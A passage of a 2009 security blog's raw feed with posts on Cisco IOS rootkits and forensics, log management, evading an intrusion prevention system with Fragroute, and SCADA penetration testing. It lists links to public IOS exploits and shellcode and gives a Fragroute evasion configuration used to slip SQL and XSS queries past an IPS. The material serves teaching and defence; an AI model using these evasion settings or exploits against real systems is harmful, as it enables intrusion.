href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SloYSlWhmRI/AAAAAAAAAHo/ejeFZaQwVrE/s1600-h/July-01-09.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 115px; height: 170px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SloYSlWhmRI/AAAAAAAAAHo/ejeFZaQwVrE/s320/July-01-09.jpg" alt="" id="BLOGGER_PHOTO_ID_5357621414253926674" border="0" /&gt;&lt;/a&gt;Cisco as a leader in networking market has laid several routing platforms which are being used all over the world. These devices have been a part of internet core, government organizations, service providers and corporate networks for a decade. These all devices basically run the same operating system called "Cisco IOS". Cisco IOS is a monolithic operating system which relies on 3-dimensional complexity, such as, platform dependent code, feature-set dependency and major or minor version dependent code. It is compiled as a single ELF binary and runs directly from CPU. No virtual memory allocated per process, interrupt driven handling for the critical events&lt;br /&gt;and global data structures support.&lt;br /&gt;&lt;br /&gt;Now, taking a glance at security issues highlight that IOS is written in plain 'C' language, sharing same address space for transactions, heap, data structures and pointers. From technical point, everything present in IOS can be the prime target for remote code execution exploits from kernel context. Lets take some examples and real-world scenarios available in the public domain.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;IOS rootkits&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;font-family:lucida grande;" &gt;Binary Modification Rootkits&lt;/span&gt;&lt;br /&gt;This is a similar type of other available rootkits and their major function is to modify the binary code to implement the backdoor and allow unauthorized access for malicious adversary. There are three types of binary modifications:&lt;br /&gt;1. Image Modification&lt;br /&gt;2. Runtime Patching&lt;br /&gt;3. Boot Patching&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;font-family:lucida grande;" &gt;TCL Backdoors&lt;/span&gt;&lt;br /&gt;As we know that Cisco IOS supports TCL interpreter, such that, a small TCL script can be used to bind an open TCP port for the backdoor connection.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Revealing IOS Rootkits&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:lucida grande;" &gt;Flash File System&lt;/span&gt;&lt;br /&gt;Obtain a copy of the modified IOS image placed on the flash of the router or on FTP/TFTP. This can be checked further for integrity using MD5 sum from known good sources.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    Router# show flash&lt;/li&gt;&lt;li&gt;    Router# copy flash:cxxx0-ipbase-mz.124-11.T.bin ftp&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; font-style: italic;font-family:lucida grande;" &gt;NVRAM&lt;/span&gt;&lt;br /&gt;Knowing the configuration changes written to NVRAM can help investigator to reveal the security incident.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    Router# show startup-config&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;IOS Exploits&lt;/span&gt;&lt;br /&gt;There are several exploits published in the public domain. They can found at the following links:&lt;br /&gt;&lt;br /&gt;-IOS TFTP server heap overflow exploit&lt;br /&gt;(http://cir.recurity.com/wiki/PhenoelitTFTP.ashx)&lt;br /&gt;-IOS OSPF neighbor array overflow exploit&lt;br /&gt;(http://cir.recurity.com/wiki/PhenoelitOspf.ashx)&lt;br /&gt;-IOS HTTP server URL length integer overflow exploit    (http://cir.recurity.com/wiki/PhenoelitHttp.ashx)&lt;br /&gt;-IOS FTP server MKD command overflow exploit    (http://cir.recurity.com/wiki/AndyDavisFTP.ashx)&lt;br /&gt;-IOS VTP missing details DoS&lt;br /&gt;(http://cir.recurity.com/wiki/ShowRunVTP.ashx)&lt;br /&gt;-Shellcode that attempts to find IOS functions to execute    (http://seclists.org/fulldisclosure/2008/Aug/0408.html)&lt;br /&gt;-Password protected bind shell    (http://www.irmplc.com/downloads/presentations/IOS_Bindshell_v.1.0.txt)&lt;br /&gt;-Connect Back Shell    (http://www.irmplc.com/downloads/presentations/IOS_Connectback_v.1.0.txt)&lt;br /&gt;-Two byte overwrite bind shell    (http://www.irmplc.com/downloads/presentations/IOS_tiny_v.1.0.txt)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Detection of Exploitation&lt;/span&gt;&lt;br /&gt;Using the following set of commands can help forensic analyst to find out any post-exploitation reaction as an evidence.&lt;br /&gt;&lt;blockquote&gt;    show version&lt;br /&gt;show clock detail&lt;br /&gt;show running-config&lt;br /&gt;show startup-config&lt;br /&gt;show reload&lt;br /&gt;show ip route&lt;br /&gt;show ip arp&lt;br /&gt;show users&lt;br /&gt;show logging&lt;br /&gt;show ip interface&lt;br /&gt;show interfaces&lt;br /&gt;show tcp brief all&lt;br /&gt;show ip sockets&lt;br /&gt;show ip nat translations verbose&lt;br /&gt;show ip cache flow&lt;br /&gt;show ip cef&lt;br /&gt;show snmp user&lt;br /&gt;show snmp group &lt;/blockquote&gt;&lt;br /&gt;References&lt;br /&gt;http://cir.recurity.com&lt;br /&gt;http://www.cisco.com/warp/public/707/cisco-sr-20080516-rootkits.shtml&lt;br /&gt;http://www.cisco.com/web/tsweb/psirt/cisco-sr-20080516-rootkits.zip&lt;br /&gt;http://addxorrol.blogspot.com/2007/01/one-of-most-amusing-new-features-of.html&lt;br /&gt;http://seclists.org/fulldisclosure/2008/Aug/0264.html&lt;br /&gt;http://www.phrack.org/issues.html?issue=60&amp;amp;id=7&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-1365873609101501237?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1365873609101501237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1365873609101501237'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/07/cisco-ios-geometry-of-varying-threats.html' title='Cisco IOS: The Geometry of varying Threats'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/SloYSlWhmRI/AAAAAAAAAHo/ejeFZaQwVrE/s72-c/July-01-09.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4078419510185124229</id><published>2009-06-30T17:51:00.003-04:30</published><updated>2009-06-30T18:02:20.294-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='log management'/><category scheme='http://www.blogger.com/atom/ns#' term='log visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='log centralization'/><category scheme='http://www.blogger.com/atom/ns#' term='information management'/><category scheme='http://www.blogger.com/atom/ns#' term='Davix log management tools'/><category scheme='http://www.blogger.com/atom/ns#' term='log analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='SEM'/><category scheme='http://www.blogger.com/atom/ns#' term='SEIM'/><category scheme='http://www.blogger.com/atom/ns#' term='SIM'/><category scheme='http://www.blogger.com/atom/ns#' term='incident reporting'/><title type='text'>Log Centralization, Analysis and Visualization</title><content type='html'>&lt;div style="text-align: justify;"&gt;Although many of us have seen IT companies securing the logs in one centralized location but in one or two they lack visualization in time of incident handling or analysis process. This could raise a serious bar from legal and corporate image perspectives. SEIM (Security event information management) systems can help to resolve these issues but logging, correlation and visualizing from distributed networks has always been challanging.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SkqQUN7JFCI/AAAAAAAAAHg/KQwKNA18nfM/s1600-h/June-03-09.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 170px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SkqQUN7JFCI/AAAAAAAAAHg/KQwKNA18nfM/s320/June-03-09.jpeg" alt="" id="BLOGGER_PHOTO_ID_5353249784092759074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;As we can see that different souces interacting with muliple devices at specific levels to pass the network traffic. The ratio of such typical network to generate logs would be moderate-high. So, why is it log centralization is considered necessary? From my experience, it is because of easy accessibility, searchability, log categorization, identification, correlation and redundancy. While talking about securing architecture of log management, virtualization concepts put the step forward mostly in data centers and hosting farms. The typical architecture looks as below:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;{Sources -&gt; Generate Logs -&gt; Virtualization (analyzing, disposing logs) -&gt; Log Management (storing, analyzing logs)}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The typical challanges to this architecture involves balancing the quantity of log management resources, policies and procedures, continuous monitoring of log data, log categorization and access control. On the otherside when considering the visualization, DAVIX Live CD contains some of the useful tools and scripts which make it easier to process data and visualize them to track the incidents.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;References:&lt;/span&gt;&lt;br /&gt;http://davix.secviz.org&lt;br /&gt;http://www.wallinfire.net/picviz&lt;br /&gt;http://www.vizsec.org&lt;br /&gt;http://www.splunk.com&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4078419510185124229?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4078419510185124229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4078419510185124229'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/06/log-centralization-analysis-and.html' title='Log Centralization, Analysis and Visualization'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WWO0NoYEIHQ/SkqQUN7JFCI/AAAAAAAAAHg/KQwKNA18nfM/s72-c/June-03-09.jpeg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4899163986254764322</id><published>2009-06-27T17:53:00.010-04:30</published><updated>2009-06-27T18:08:45.092-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='IPS shortcomings'/><category scheme='http://www.blogger.com/atom/ns#' term='ips bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='bypass ids/ips'/><category scheme='http://www.blogger.com/atom/ns#' term='frageroute'/><category scheme='http://www.blogger.com/atom/ns#' term='bypassing the IPS'/><category scheme='http://www.blogger.com/atom/ns#' term='intrusion detection limitations'/><category scheme='http://www.blogger.com/atom/ns#' term='IP fragmentation'/><category scheme='http://www.blogger.com/atom/ns#' term='intrusion prevention system bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall and ips bypass'/><title type='text'>Bypassing IPS: A Penetration Tester Perspective</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SkaeIrO7WlI/AAAAAAAAAHY/s6KB-cYqwGE/s1600-h/June-02-09.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 107px; height: 75px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SkaeIrO7WlI/AAAAAAAAAHY/s6KB-cYqwGE/s320/June-02-09.jpg" alt="" id="BLOGGER_PHOTO_ID_5352139079057889874" border="0" /&gt;&lt;/a&gt;IPS (Intrusion Prevention System) technology was designed to cover the shortcomings of the IDS systems. In technical words, it will not only detect but also prevent the malicious packets from entering the secure zone on your network. Basic firewalls are just capable of scanning and examining the headers of the packet but IPS also inspect the payload inside it. Intrusion prevention system manages a deep packet inspection (DPI) technology to conduct its tests against protocol headers and payloads by gathering more information on attack patterns,&lt;br /&gt;anomalous behavior and controlling the network traffic intelligently. The basic IPS deployment can be done using an open source tools, such as, Snort Inline + IPTables. With this kind of basic configuration, a security administrator would be able to capture malicious packet (snort_inline) and block(IPTables) that sequential traffic from reaching vulnerable host.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Now lets take a look on evasion technique used to bypass these intrusion prevention systems. As we know that there are several IPS vendors in the market today, such as;&lt;br /&gt;&lt;br /&gt;- Cisco&lt;br /&gt;- 3Com&lt;br /&gt;- Cyberoam&lt;br /&gt;- Fortinet&lt;br /&gt;- Checkpoint&lt;br /&gt;- Sourcefire&lt;br /&gt;- IBM&lt;br /&gt;- Third Brigade&lt;br /&gt;- eEye&lt;br /&gt;- Juniper&lt;br /&gt;- Radware&lt;br /&gt;- TippingPoint&lt;br /&gt;- ForeScout&lt;br /&gt;- IntruPro&lt;br /&gt;- StoneGate&lt;br /&gt;- DeepNines&lt;br /&gt;- Enterasys&lt;br /&gt;&lt;br /&gt;and others...&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;These vendors design the IPS technology in different ways but their basic approach of stopping the bad network packets remain similar. Holding a strong knowledge of TCP/IP, an attacker can easily manage to bypass the IPS and deliver the malicious packets destined for the vulnerable host. The technique is known "Packet Fragmentation". However, this is an old method but still useful to bypass some of the vendors IPS. The task to generate and route the malicious packets can be accomplished using 'Fragroute' tool. 'NMap' can do the similar stuff using '-f' option.&lt;br /&gt;Recently, while conducting the penetration testing, I found that the DMZ network was protected with an IPS. Although I am not going to disclose the vendor name, but I will explain the method I used to approach the web application server with malicious SQL/XSS query. However, it should be noted that not all vendors are vulnerable to these specific attacks.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fragroute&lt;/span&gt;&lt;br /&gt;This tool helps the pentester to intercept, modify and rewrite the egress traffic according to the rules defined in the configuration file. By simply modifying the configuration file located at '/etc/fragroute.conf' with the following values:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;tcp_seg 24&lt;/span&gt; &lt;span style="font-style: italic;"&gt;ip_frag 64&lt;/span&gt; &lt;span style="font-style: italic;"&gt;tcp_chaff paws&lt;/span&gt; &lt;span style="font-style: italic;"&gt;print&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This modification will help segmentation of TCP data into forward overlapping 24-byte segments, dervie the 64-byte fragments, interleave with overwriting, random chaff segments holding older timestamps for PAWS elimination and print the output. Fragroute has changed the sequence of the traffic generated and directed them from my attacking machine to the vulnerable host bypassing the IPS. It is recommended that these variable-set should be tested in the controlled environment before applying them for the live network.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The network layout was simple, &lt;span style="font-style: italic;"&gt;{Attacker&lt;--&gt;(Fragroute)--&gt;Internet--&gt;IPS--&gt;Webserver}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Its worth noticing that we dont need to use the local proxy to browse the remote web application (true for many web applications auditing tools). So, just browsing and injecting the application with SQL and XSS queries worked very well this time. Another technique can be used in conjunction with fragroute is gzip encoding for evasion purposes.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Problems with IPS&lt;/span&gt;&lt;br /&gt;Two major problems should be outlined when we talk about IPS deployment.&lt;br /&gt;-False Positives (need the exact signatures)&lt;br /&gt;-Performance (Latency issues, such that in VoIP network it not acceptable at all)&lt;br /&gt;-Evasion (A simple obfuscation of detectable traffic pattern can make its way through)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;However, if we create a conceptual picture of the above mentioned problems. They can only be the reasons because of cost, physical limitations or any specific network envrionment. A small perl based script 'IPSTester.pl' from "iv2-technologies.com" can help to assess these IPS systems for their limitations.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4899163986254764322?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4899163986254764322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4899163986254764322'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/06/bypassing-ips-penetration-tester.html' title='Bypassing IPS: A Penetration Tester Perspective'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WWO0NoYEIHQ/SkaeIrO7WlI/AAAAAAAAAHY/s6KB-cYqwGE/s72-c/June-02-09.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-5271602395068064256</id><published>2009-06-06T19:09:00.005-04:30</published><updated>2009-06-06T19:18:29.989-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='scada hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='scada network'/><category scheme='http://www.blogger.com/atom/ns#' term='modbus security'/><category scheme='http://www.blogger.com/atom/ns#' term='scada security compliance'/><category scheme='http://www.blogger.com/atom/ns#' term='scada penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='scada security'/><category scheme='http://www.blogger.com/atom/ns#' term='scada security tools'/><category scheme='http://www.blogger.com/atom/ns#' term='scada security assessment'/><title type='text'>Industrial Hacks, Controlling and Securing SCADA Systems</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/Sir_awSBA6I/AAAAAAAAAHQ/tXyF4jcmReE/s1600-h/June-06-09.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 103px; height: 77px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/Sir_awSBA6I/AAAAAAAAAHQ/tXyF4jcmReE/s320/June-06-09.gif" alt="" id="BLOGGER_PHOTO_ID_5344364742930662306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;SCADA, the Supervisory Control and Data Acquisition system is a software application used to control the process, monitor and gather the real-time data from remote devices in order to manage any hazardous conditions. Its application is widely applied in telecommunication, transportation, oil and gas industry, defense systems, water and waste control systems and power plants. Process controlling and monitoring can be categorized as industrial, infrastructure or facility.&lt;br /&gt;&lt;br /&gt;Looking from the security perspective of these systems govern the major vulnerabilities and threats that can easily be exploited by malicious adversaries. For a decade, number of legacy IT tools have been developed for scanning and assessing the SCADA systems security. Number of incidents reported in past have proved the inconsistency of these systems, such that, on 10-June-1999 an "Olympic Pipe Line" company faced the rupture and release of gasoline causing damages of at least $45m and life of several people.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;For more information:&lt;/span&gt;&lt;br /&gt;http://www.cob.org/services/environment/restoration/olympic-pipeline-incident.aspx&lt;br /&gt;&lt;br /&gt;Number of security problems discovered while investigating these kind of incidents range under&lt;br /&gt;application response delay, system fault in shutdown and isolation process and various security vulnerabilities such as blank password access on compressor station. SCADA systems basically carry the operations which always hold real-time communication. Many of these systems are deployed without anti-virus to maintain the performance and scability. But at the same time, they are vulnerable to viruses and worms. One such incidents has been reported in 2003 at Davis-Besse Nuclear Power Plant, Ohio, infecting the whole network with Slammer worm and disabled the safety monitoring system. Employing security policies and procedures can remove such gaps from SCADA based network but changing them often is a nightmare.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Penetration Testing for the SCADA Systems&lt;/span&gt;&lt;br /&gt;To assess the security of these systems, a traditional approach of Penetration Testing can be used to conduct the assessment in order to assure the SCADA network security. From my past experience in assessing the SCADA application and network, it is vital to defense such network at perimeter level (DMZ, IDS/IPS, Firewalls). Researchers from different security groups has revealed serious security issues in default SCADA system, such as:&lt;br /&gt;&lt;br /&gt;-No Data encryption&lt;br /&gt;-No Authentication or Blank Password&lt;br /&gt;-No Integrity statement&lt;br /&gt;-Network Traffic in clear text&lt;br /&gt;-Default system/network configurations&lt;br /&gt;-No backup strategies&lt;br /&gt;-RAS/VPN access without proper security policies&lt;br /&gt;-Physical security&lt;br /&gt;&lt;br /&gt;Although the deployment of IT and SCADA system envrionment has similarity but the differences can be measured and the reliable security assessment approach can be done. Major security compliances that could help in achieving this goal include, BS7799, ISO15408, NIST-SPPICS, ISA S.99.1 and CIDX-VAM. Following the similar security approach from IT systems envrionment can help to integrate and preserve the CIA (confidentiality, integrity and availability) for SCADA systems.&lt;br /&gt;&lt;br /&gt;Generally speaking, the SCADA Penetration Testing process involve:&lt;br /&gt;-Identification&lt;br /&gt;-Fingerprinting&lt;br /&gt;-Vulnerability Mapping&lt;br /&gt;-Exploitation&lt;br /&gt;-Control&lt;br /&gt;&lt;br /&gt;The major assessment tools remain same with an exception to modify the methodology of performing pen-testing against the SCADA envrionment as compared to the IT network. Tools like nmap, nessus, wireshark and metasploit play a key role in assessing the security posture of the organization's infrastructure. Custom scripts and fuzzers (SPIKE, LZfuzz) can also provide aid in assessing the SCADA applications.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Additional Resources:&lt;/span&gt;&lt;br /&gt;CrISTAL Project: http://cristal.recursiva.org&lt;br /&gt;ModScan: http://code.google.com/p/modscan&lt;br /&gt;ScadaSafe: http://scadasafe.sourceforge.net&lt;br /&gt;SMART: http://safemap.sourceforge.net&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-5271602395068064256?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5271602395068064256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5271602395068064256'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/06/industrial-hacks-controlling-and.html' title='Industrial Hacks, Controlling and Securing SCADA Systems'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/Sir_awSBA6I/AAAAAAAAAHQ/tXyF4jcmReE/s72-c/June-06-09.gif' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-1037053450133575770</id><published>2009-04-26T20:42:00.018-04:30</published><updated>2009-04-26T21:47:22.295-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='scan cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap scan'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco ios ips'/><category scheme='http://www.blogger.com/atom/ns#' term='ios ips'/><title type='text'>Cisco IOS IPS Testing with Nmap Scan</title><content type='html'>&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 12"&gt;&lt;meta name="Originator" content="Microsoft Word 12"&gt;&lt;link style="font-family: arial;" rel="File-List" href="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml"&gt;&lt;link style="font-family: arial;" rel="Edit-Time-Data" href="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_editdata.mso"&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:officedocumentsettings&gt;   &lt;o:relyonvml/&gt;   &lt;o:allowpng/&gt;  &lt;/o:OfficeDocumentSettings&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;link style="font-family: arial;" rel="themeData" href="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx"&gt;&lt;link style="font-family: arial;" rel="colorSchemeMapping" href="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_colorschememapping.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves&gt;false&lt;/w:TrackMoves&gt;   &lt;w:trackformatting/&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;ES-VE&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="--"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   